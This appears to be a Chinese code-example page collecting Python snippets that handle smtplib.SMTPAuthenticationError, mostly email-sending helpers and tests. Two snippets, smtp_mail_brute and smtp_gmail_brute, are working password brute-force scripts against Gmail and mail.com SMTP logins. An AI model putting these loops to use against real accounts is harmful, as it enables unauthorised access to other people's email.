我们从Python开源项目中,提取了以下41个代码示例,用于说明如何使用smtplib.SMTPAuthenticationError()。
def start_smtp(self, email_username, email_password): self.server = smtplib.SMTP("smtp.gmail.com", 587) self.server.ehlo() self.server.starttls() try: self.server.login(email_username, email_password) print 'LOGIN IS DONE YEYYY, YOU CAN NOW SEND SHIT EMAILS. xD' return True except smtplib.SMTPHeloError: print 'The server responded weird stuff to my login request, please try again' return False except smtplib.SMTPAuthenticationError: print 'Your account name or password is incorrect, please try again using the correct stuff' return False except smtplib.SMTPException: print 'SHIT IS ALL FUCKED THERES NO HOPE THE WORLD IS GOING TO END, HIDEE ' return False
def test_email_error(self): """ Tests that an error message is logged when an SMTPAuthenticationErro is encountered. """ mock_email = Mock() mock_email.send = Mock( side_effect=SMTPAuthenticationError(535, 'foobar')) with patch('alerts.signals.emails_enabled', return_value=True): with patch('alerts.signals.compose_comment_email', return_value=mock_email): with LogCapture() as log_capture: comment = Comment.objects.get(pk=1) comment.pk = None comment.save() log_capture.check( ('alerts.signals', 'ERROR', 'An error occurred when sending an email ' 'notification: (535, \'foobar\')'), )
def mail_episode(ep): # ok did cheat here, got this from cverna # https://github.com/pybites/challenges/blob/community/17/cverna/podcast.py # TODO: test on server smtp_server = smtplib.SMTP('smtp.gmail.com', 587) smtp_account = os.environ.get('MAIL_ACCOUNT') or sys.exit('Need mail user') smtp_password = os.environ.get('MAIL_PASSWORD') or sys.exit('Need mail pw') mailto = os.environ.get('MAILTO') or sys.exit('Need mail to') smtp_server.ehlo() smtp_server.starttls() try: smtp_server.login(smtp_account, smtp_password) except smtplib.SMTPAuthenticationError: print('Could not login to the smtp server please check your username and password') sys.exit(1) msg = MIMEText('\nHi this week podcast is {} you can download it from here {}'. format(ep.title, ep.link)) msg['Subject'] = 'My podcast of the week' msg['From'] = smtp_account msg['To'] = mailto smtp_server.send_message(msg) smtp_server.quit()
def emit(self, body, **kwargs): if not self._smtp: self._smtp = smtplib.SMTP(self._host, self._port) self._smtp.ehlo() self._smtp.starttls() self._smtp.ehlo() subject = kwargs.pop('subject', '') message = self._compose_message(subject, body) # try to authenticate with the server # before attempting to send the message try: self._smtp.login(self._from, self._password) self._smtp.sendmail(self._from, self._to, message) except smtplib.SMTPAuthenticationError: self.logger.error('Invalid SMTP credentials for %s account' % self._from) finally: self._smtp.quit()
def send_confirm_email(self): """ Send an confirm email to user. contains a link to confirm the email confirm link is not provide by this app, a client must implement this endpoint to complete the confirmation. """ from server import app, mail token = self.generate_confirm_email_token() confirm_url = '{0}://{1}/email-confirm?token={2}'.format(app.config['SITE_PROTOCOL'], app.config['SITE_HOST'], token) subject = '[{0}] Email Address Confirmation'.format(app.config['SITE_NAME']) email_content = render_template('email-confirm.html', info={ 'confirm_title': subject, 'confirm_url': confirm_url, 'site_name': app.config['SITE_NAME'], 'user_name': self.name }) msg = Message(subject, recipients=[self.email], html=email_content) try: mail.send(msg) except SMTPAuthenticationError: raise ServerError('SMTP authentication failed', 500)
def connection_is_valid(self): """Check for valid config, verify connectivity.""" server = None try: server = self.connect() except smtplib.socket.gaierror: _LOGGER.exception( "SMTP server not found (%s:%s). " "Please check the IP address or hostname of your SMTP server", self._server, self._port) return False except (smtplib.SMTPAuthenticationError, ConnectionRefusedError): _LOGGER.exception( "Login not possible. " "Please check your setting and/or your credentials") return False finally: if server: server.quit() return True
def send(self): self.msg['Subject'] = self.title self.msg['From'] = self.sender self.msg['To'] = self.receiver # ???? if self.message: self.msg.attach(MIMEText(self.message)) # ??????????????list???????????str? if self.files: if isinstance(self.files, list): for f in self.files: self._attach_file(f) elif isinstance(self.files, str): self._attach_file(self.files) # ???????? try: smtp_server = smtplib.SMTP(self.server) # ??sever except (gaierror and error) as e: logger.exception('??????,?????SMTP??????????SMTP???. %s', e) else: try: smtp_server.login(self.sender, self.password) # ?? except smtplib.SMTPAuthenticationError as e: logger.exception('??????????%s', e) else: smtp_server.sendmail(self.sender, self.receiver.split(';'), self.msg.as_string()) # ???? finally: smtp_server.quit() # ???? logger.info('????"{0}"??! ????{1}?????????????????' '?????????????'.format(self.title, self.receiver))
def login(self, username, password): if username not in self.users or self.users[username] != password: raise smtplib.SMTPAuthenticationError self.username = username self.password = password
def test_email_with_no_credentials(self, active_config): @report_idle_after(1) def test_smpt(): active_config.extend({ 'dallinger_email_address': u'email', 'contact_email_on_error': u'email', 'dallinger_email_password': u'password' }) sleep(5) with raises(SMTPAuthenticationError): test_smpt()
def _send_reset_email(self, user): """ Send password reset email to given email address """ username = user['uid'][0] token = cherrypy.engine.publish('token-gen', username).pop() base_url = urljoin(cherrypy.request.base, '/reset') user['reset_url'] = urljoin(base_url, '?token={0}&username={1}'.format(token, username)) template = cherrypy.config.get('email', {}).get('template', 'email') html = cherrypy.engine.publish('lookup-template', '{0}.html'.format(template)).pop() txt = cherrypy.engine.publish('lookup-template', '{0}.txt'.format(template)).pop() html_body = html.render(user=user) txt_body = txt.render(user=user) msg = MIMEMultipart('alternative') msg['Subject'] = (' ').join([self.subject, 'Password Reset']) msg['From'] = self.fromaddr msg['To'] = user['mail'][0] part1 = MIMEText(txt_body, 'plain') part2 = MIMEText(html_body, 'html') msg.attach(part1) msg.attach(part2) mailclient = smtplib.SMTP(self.server, self.port) try: if self.user and self.password: mailclient.login(self.user, self.password) mailclient.sendmail(msg['From'], msg['To'], msg.as_string()) except (smtplib.SMTPHeloError, smtplib.SMTPAuthenticationError, smtplib.SMTPException ) as e: self.bus.log('Unable to send email. Error: {0}'.format(e.message['desc'] if 'desc' in e.message else e), 40) # pylint: disable=C0301 finally: mailclient.quit()
def _send_username_email(self, user): """ Send username reminder email to given email address """ username = user['uid'][0] base_url = urljoin(cherrypy.request.base, '/') user['login_url'] = urljoin(base_url, '?username={0}'.format(username)) template = cherrypy.config.get('email', {}).get('template', 'email') html = cherrypy.engine.publish('lookup-template', '{0}.html'.format(template)).pop() txt = cherrypy.engine.publish('lookup-template', '{0}.txt'.format(template)).pop() html_body = html.render(user=user) txt_body = txt.render(user=user) msg = MIMEMultipart('alternative') msg['Subject'] = (' ').join([self.subject, 'Username Reminder']) msg['From'] = self.fromaddr msg['To'] = user['mail'][0] part1 = MIMEText(txt_body, 'plain') part2 = MIMEText(html_body, 'html') msg.attach(part1) msg.attach(part2) mailclient = smtplib.SMTP(self.server, self.port) try: if self.user and self.password: mailclient.login(self.user, self.password) mailclient.sendmail(msg['From'], msg['To'], msg.as_string()) except (smtplib.SMTPHeloError, smtplib.SMTPAuthenticationError, smtplib.SMTPException ) as e: self.bus.log('Unable to send email. Error: {0}'.format(e.message['desc'] if 'desc' in e.message else e), 40) # pylint: disable=C0301 finally: mailclient.quit()
def send_email(recipients, subject, body): # TODO Handle errors. Log failed emails, maybe? try: yag = yagmail.SMTP(config.GMAIL_USERNAME, config.GMAIL_PASSWORD) result = yag.send(to=recipients, subject=subject, contents=body) except SMTPAuthenticationError: # TODO log this raise return result
def testAUTH_LOGIN(self): self.serv.add_feature("AUTH LOGIN") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: self.assertIn(sim_auth_login_password, str(err)) smtp.close()
def testAUTH_CRAM_MD5(self): self.serv.add_feature("AUTH CRAM-MD5") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: self.assertIn(sim_auth_credentials['cram-md5'], str(err)) smtp.close() #TODO: add tests for correct AUTH method fallback now that the #test infrastructure can support it.
def testAUTH_LOGIN(self): self.serv.add_feature("AUTH LOGIN") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: if sim_auth_login_password not in str(err): raise "expected encoded password not found in error message"
def testAUTH_CRAM_MD5(self): self.serv.add_feature("AUTH CRAM-MD5") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: if sim_auth_credentials['cram-md5'] not in str(err): raise "expected encoded credentials not found in error message" #TODO: add tests for correct AUTH method fallback now that the #test infrastructure can support it.
def send_smtp_email(email_to, email_subject, email_body): logtime = datetime.now().isoformat() num_recepients = len(email_to) if num_recepients > conf['smtp_max_recepients_per_email']: print(logtime, 'ERROR - Too many recepients.') return 0 msg = MIMEText(email_body, 'html') msg['Subject'] = email_subject msg['From'] = conf['smtp_from'] msg['To'] = ','.join(email_to) email_message = msg.as_string() try: smtp = smtplib.SMTP_SSL() smtp.connect(conf['smtp_server'],int(conf['smtp_port'])) smtp.login(conf['smtp_username'], conf['smtp_password']) smtp.sendmail(conf['smtp_from'], email_to, email_message) smtp.close() log("Emails sent to: " + msg['to']) except smtplib.SMTPConnectError: log("ERROR - Unable to connect to SMTP server.") return 0 except smtplib.SMTPAuthenticationError: log("ERROR - SMTP authentication error.") return 0 return 1 ############################################################################### # Program start # Set up configuraiton
def testAUTH_CRAM_MD5(self): self.serv.add_feature("AUTH CRAM-MD5") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: self.assertIn(sim_auth_credentials['cram-md5'], str(err)) smtp.close()
def send_email(msg_content): global emailinfo try: # Try to login smtp server s = smtplib.SMTP("smtp.gmail.com:587") s.ehlo() s.starttls() s.login(emailinfo['sender'], emailinfo['sender-password']) except smtplib.SMTPAuthenticationError: # Log in failed print smtplib.SMTPAuthenticationError print('[Mail]\tFailed to login') else: # Log in successfully print('[Mail]\tLogged in! Composing message..') for receiver in emailinfo['receivers']: msg = MIMEMultipart('alternative') msg['Subject'] = msg_content['Subject'] msg['From'] = emailinfo['sender'] msg['To'] = receiver text = msg_content['Content'] part = MIMEText(text, 'plain') msg.attach(part) s.sendmail(emailinfo['sender'], receiver, msg.as_string()) print('[Mail]\tMessage has been sent to %s.' % (receiver)) # send notified mail once a day.
def testAUTH_multiple(self): # Test that multiple authentication methods are tried. self.serv.add_feature("AUTH BOGUS PLAIN LOGIN CRAM-MD5") smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15) try: smtp.login(sim_auth[0], sim_auth[1]) except smtplib.SMTPAuthenticationError as err: self.assertIn(sim_auth_login_password, str(err)) smtp.close()
def send_comment_notification(sender, instance, created, **kwargs): """Email relevant users when a new |Comment| is saved.""" # email relevant users if a comment is created if created and emails_enabled(): for user in instance.get_other_contributors(): email_message = compose_comment_email(instance, user) try: email_message.send() except smtplib.SMTPAuthenticationError as error: _LOGGER.error('An error occurred when sending an ' 'email notification: %s', error)
def send_mail(sender,to,password,port,subject,body): try: message = "Subject: {}\n\n{}".format(subject,body) mail = smtplib.SMTP('smtp.gmail.com',port) mail.starttls() mail.login(sender,password) mail.sendmail(sender, to, message) print "\nSent email successfully.\n" except smtplib.SMTPAuthenticationError: print "\nCould not athenticate with password and username!\n"
def test_authentication(self): """ Check to see whether or not the currently configured SMTP credentials can be used to authenticate to the remote service. :return: True if the current configured SMTP credentials can be used to authenticate to the remote service, False otherwise. """ connection = smtplib.SMTP(config.smtp_host, config.smtp_port) connection.ehlo() connection.starttls() try: connection.login(config.smtp_username, config.smtp_password) return True except smtplib.SMTPAuthenticationError: return False
def smtp_mail_brute(): email=raw_input(">>>smtp>>>Enter email address:") print("[*]Connecting to mail.com Server") smtp_gmail=smtplib.SMTP("smtp.mail.com",587) print("[*]Successfully connected to mail.com") smtp_gmail.ehlo() print("[*]Creating a secure TLS channel") smtp_gmail.starttls() print("[*]Succesfully created a TLS channel") print("[*]Reading Passwords List") passfile=open("./password_lists/passwords.txt","r") print("[*]Successfully read passwords list") for password in passfile.readlines(): password=password.rstrip('\n') try: smtp_gmail.login(email,password) smtp_gmail=smtplib.SMTP("smtp.mail.com",587) smtp_gmail.ehlo() smtp_gmail.starttls() except smtplib.SMTPAuthenticationError: print('\x1b[0;30;41m'+"[!]Incorrect password:%s" %password+'\x1b[0m') except KeyboardInterrupt: print("\nQuitting..") return else: print('\x1b[0;30;42m' + "[+]Correct password: %s" %password+'\x1b[0m') break
def smtp_gmail_brute(): email=raw_input(">>>smtp>>>Enter email address:") print("[*] Connecting to Gmail Server") smtp_gmail=smtplib.SMTP("smtp.gmail.com",587) print("[*]Succesfully connected to Gmail Server") smtp_gmail.ehlo() print("[*]Creating a secure TLS channel") smtp_gmail.starttls() print("[*]Succesfully created a TLS channel") passfile=open("./password_lists/passwords.txt","r") for password in passfile.readlines(): password=password.rstrip('\n') try: smtp_gmail.login(email,password) smtp_gmail=smtplib.SMTP("smtp.gmail.com",587) smtp_gmail.ehlo() smtp_gmail.starttls() except smtplib.SMTPAuthenticationError: print('\x1b[0;30;41m'+"[!]Incorrect password:%s" %password+'\x1b[0m') except KeyboardInterrupt: print("\nQuitting..") return else: print('\x1b[0;30;42m' + "[+]Correct password: %s" %password+'\x1b[0m') break
def send(self): """????????????""" self.msg['Subject'] = self.title self.msg['From'] = self.sender self.msg['To'] = self.receiver # ???? if self.message: self.msg.attach(MIMEText(self.message)) # ??????????????list???????????str? if self.files: if isinstance(self.files, list): for f in self.files: self._attach_file(f) elif isinstance(self.files, str): self._attach_file(self.files) # ???????? try: smtp_server = smtplib.SMTP(self.server) except (gaierror and error) as e: self.logger.exception(u'??????,?????SMTP??????????SMTP???. %s', e) else: try: smtp_server.login(self.sender, self.password) except smtplib.SMTPAuthenticationError as e: self.logger.exception(u'??????????%s', e) else: smtp_server.sendmail(self.sender, self.receiver.split(';'), self.msg.as_string()) finally: smtp_server.quit() self.logger.info(u'????"{0}"??! ????{1}?????????????????' u'?????????????'.format(self.title, self.receiver))
def update_password(self, old_pass, new_pass): from server import app, mail session = SessionManager.Session() try: user = session.query(User).filter(User.id == self.id).one() if check_password_hash(user.password, old_pass): user.password = UserCredential.get_pass_hash(new_pass) session.commit() if user.email is not None and user.email_confirmed: # send notification mail subject = '[{0}] Password Update Notification'.format(app.config['SITE_NAME']) email_content = render_template('update-pass-notification.html', info={ 'title': subject, 'user_name': user.name, 'site_name': app.config['SITE_NAME'] }) msg = Message(subject, recipients=[self.email], html=email_content) try: mail.send(msg) except SMTPAuthenticationError: raise ServerError('SMTP authentication failed', 500) return True else: raise ClientError(ClientError.PASSWORD_INCORRECT) except NoResultFound: raise ServerError('user not found') finally: SessionManager.Session.remove()
def update_email(self, new_email): from server import app, mail session = SessionManager.Session() try: user = session.query(User).filter(User.id == self.id).one() if user.email is not None and user.email_confirmed: # send notification mail subject = '[{0}] Email Address Update Notification'.format(app.config['SITE_NAME']) email_content = render_template('email-change-notification.html', info={ 'title': subject, 'user_name': user.name, 'site_name': app.config['SITE_NAME'] }) msg = Message(subject, recipients=[self.email], html=email_content) try: mail.send(msg) except SMTPAuthenticationError: raise ServerError('SMTP authentication failed', 500) # update user.email = new_email user.email_confirmed = False self.email = new_email self.email_confirmed = False # send email self.send_confirm_email() session.commit() return json_resp({'message': 'ok'}) except IntegrityError: raise ClientError('duplicate email') except NoResultFound: raise ServerError('user not found') finally: SessionManager.Session.remove()